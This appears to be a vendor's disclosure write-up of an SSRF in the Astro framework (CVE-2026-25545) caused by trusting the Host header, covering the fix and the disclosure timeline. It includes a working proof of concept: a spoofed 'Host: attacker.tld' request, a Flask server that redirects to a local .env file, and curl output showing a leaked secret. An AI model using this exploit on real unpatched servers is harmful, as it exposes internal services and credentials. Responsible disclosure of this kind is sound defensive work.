Astro Full-Read SSRF via Host Header Injection

‍Astro is a JavaScript frontend and backend framework in use by many large organizations for making website development much easier. Recently, one of the agents in our Aikido Attack product identified a medium-severity vulnerability in the server-side implementation of this framework. It made any servers directly accessible by the attacker vulnerable to Server-Side Request Forgery (SSRF).

Now known as CVE-2026-25545, we quickly notified the maintainers of Astro in order to get a fix within only a couple of days. Versions astro@5.17.2, @astrojs/node@9.5.3 as well as the beta astro@6.0.0-beta.11 are patched.

Summary

Server-Side Rendered (SSR) errors with a prerendered custom error page (e.g., 404.astro or 500.astro) are vulnerable to SSRF. If the Host: header is changed to an attacker's server, /500.html will be fetched from their server and can be redirected to any other internal URL. This redirect is followed, and the response is returned to the attacker.

Any services on localhost or the internal network protected by firewalls and NAT can become accessible this way, which may have devastating consequences depending on what's hosted.

Details

The AI pentesting agent found this issue while we were researching, so we'll explain its thought process as we walk through the details of this vulnerability.

Astro can render pages in two modes: "static" and "server". Simple websites may not need a server and can be exported as static HTML files, while others do require server-side logic. You can decide what's needed per page.

For the homepage, you could prerender an HTML file that will always stay the same and only changes when you build again. To render on demand instead, like for a view counter, Server-Side Rendering (SSR) is required.

Using SSR requires you set the output configuration option to 'server' in astro.config.mjs:

export default defineConfig({
  output: 'server'
})

An interesting example is the error pages in Astro. Any route can return errors like 404 Not Found or 500 Internal Server Error, which are displayed nicely with the default error pages.

As a developer, you can create a custom error page with 404.astro or 500.astro. For efficiency, these are prerendered as HTML files when possible. The interesting thing is that a server must now return a prerendered response.

This is implemented in a bit of a strange way: the server fetches /404.html or /500.html from itself and returns that result. You can read this in renderError():

1async #renderError(...): Promise<Response> {
2  const errorRoutePath = `/${status}${this.#manifest.trailingSlash === 'always' ? '/' : ''}`;
3  const errorRouteData = matchRoute(errorRoutePath, this.#manifestData);
4  const url = new URL(request.url);
5  if (errorRouteData) {
6    if (errorRouteData.prerender) {
7      const maybeDotHtml = errorRouteData.route.endsWith(`/${status}`) ? '.html' : '';
8      const statusURL = new URL(
9        `${this.#baseWithoutTrailingSlash}/${status}${maybeDotHtml}`,
10        url,  // base
11      );
12      if (statusURL.toString() !== request.url) {
13        const response = await prerenderedErrorPageFetch(statusURL.toString() as ErrorPagePath);
14        const override = { status, removeContentEncodingHeaders: true };
15        return this.#mergeResponses(response, originalResponse, override);
16      }
17    }
18  ...
19}
20

The most important line is prerenderedErrorPageFetch(statusURL), which runs when a custom error route exists and the error page is prerendered (line 13). In NodeJS, this is simply an alias for fetch() if options.experimentalErrorPageHost is not set.
statusURL is built from request.url (line 4). This property comes from req.headers.host, also known as the Host: header in HTTP.

static createRequest(...) {
  const providedHostname = req.headers.host ?? req.headers[':authority'];
  const validated = App.validateForwardedHeaders(
    getFirstForwardedValue(req.headers['x-forwarded-proto']),
    getFirstForwardedValue(req.headers['x-forwarded-host']),
    getFirstForwardedValue(req.headers['x-forwarded-port']),
    allowedDomains,
  );
  const sanitizedProvidedHostname = App.sanitizeHost(
    typeof providedHostname === 'string' ? providedHostname : undefined,
  );
  const hostname = validated.host ?? sanitizedProvidedHostname;

  const hostnamePort = getHostnamePort(hostname, port);
  url = new URL(`${protocol}://${hostnamePort}${req.url}`);

  const request = new Request(url, options);
  ...

The Host: header is always user-controlled since it's just an arbitrary string the client sends. As you can see in the above logic, Astro uses req.headers.host to construct request.url, which then becomes the base URL for an internal fetch() call. Astro trusts the input to point to the server itself, without actually validating it. This is Host header injection, and it's what makes SSRF possible here.

GET /not-found HTTP/1.1
Host: attacker.tld

SSRF

We came here for Server-Side Request Forgery, but we're not far off at this point. The request above triggers a 404 error, and if a custom 404 page is configured, our attacker.tld host header will be used to send a request to http://attacker.tld/404.html .
This already allows us to fetch this specific URL on any internal host:

GET /404.html HTTP/1.1
host: attacker.tld
connection: keep-alive
accept: */*
accept-language: *
sec-fetch-mode: cors
user-agent: node
accept-encoding: gzip, deflate

There likely isn't much sensitive content on /404.html of an arbitrary host. Luckily for us, fetch() automatically follows redirects. A fact we can make use of because we are already able to make the Astro server request our attacker's website. All we have to do is redirect from http://attacker.tld/404.html to some sensitive URL like http://127.0.0.1:8000/.env!

We'll set up a basic server to handle this:

from flask import Flask, redirect

app = Flask(__name__)

@app.route("/404.html")
def exploit():
    return redirect("http://127.0.0.1:8000/.env")

if __name__ == "__main__":
    app.run()

Then we send our malicious request again:

$ curl -i 'http://localhost:4321/not-found' -H 'Host: attacker.tld'
HTTP/1.1 404 OK
content-type: text/plain
server: SimpleHTTP/0.6 Python/3.12.3
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked

SECRET=...

Success! The 404 page was fetched from the attacker, redirected to 127.0.0.1:8000, and its response (headers & body) was returned. With this, an attacker could map out the whole internal network, interacting with the services to read potentially sensitive information.

Requirements

For an attacker to exploit this vulnerability, there are some requirements:

1. The server must be in Server-Side Rendering mode (otherwise it is just static HTML).
2. The Host: header must be unsanitized. Some proxies validate this header, so it can be necessary to find the
3. origin IP of the Astro server in order to directly connect with it.
4. In the source code, the developer must have configured a custom 404.astro, 404.md, or 500.astro file. This is common for larger applications.

As shown, using a 404 error by visiting some unrouted path is the most likely exploitation path. But if a custom Internal Server Error page is configured, triggering any error with a spoofed Host: header can also trigger the vulnerability in the same way.

Remediation

After seeing the vulnerability reported by our AI agent, we quickly reported it to the Astro maintainers, who had a fix ready within just a couple of days.

The patched versions start from:

• astro@5.17.2
• astro@6.0.0-beta.11
• @astrojs/node@9.5.3

Their fix was to rethink the prerenderedErrorPageFetch() function, which was a wrapper to fetch(), before. Now /404 or /500 files are read directly from disk, and anything else is only fetched if options.experimentalErrorPageHost is explicitly set, telling it where to fetch from. The Host: header is now also validated, similar to how X-Forwarded-Host: already was, to prevent an attacker from messing with request.url in Astro.

This vulnerability comes down to trusting user input in the Host: header, which you should never do. Magic features like redirecting by default from

fetch() can also lead to unexpected consequences. It is good to be aware of what the functions you call exactly do by reading their documentation.

The exploit for this vulnerability ends up being quite simple and is easy to test. Simply requesting a non-existent page with a malformed Host: header. Such attacks may even be found without source code by playing with the application, which

Aikido’s AI pentest can do. However, it also has strong code analysis (whitebox) capabilities, as seen from this report.

Timeline

• February 2, 2026: Aikido Security identified the vulnerability and built a working PoC
• February 3, 2026: Responsible disclosure to Astro maintainers
• February 3, 2026: Report confirmed by Astro maintainers and start working on a fix
• February 4, 2026: CVE-2026-25545 is created by GitHub
• February 11, 2026: Fix is released in new versions of Astro (astro@5.17.2, astro@6.0.0-beta.11, and @astrojs/node@9.5.3)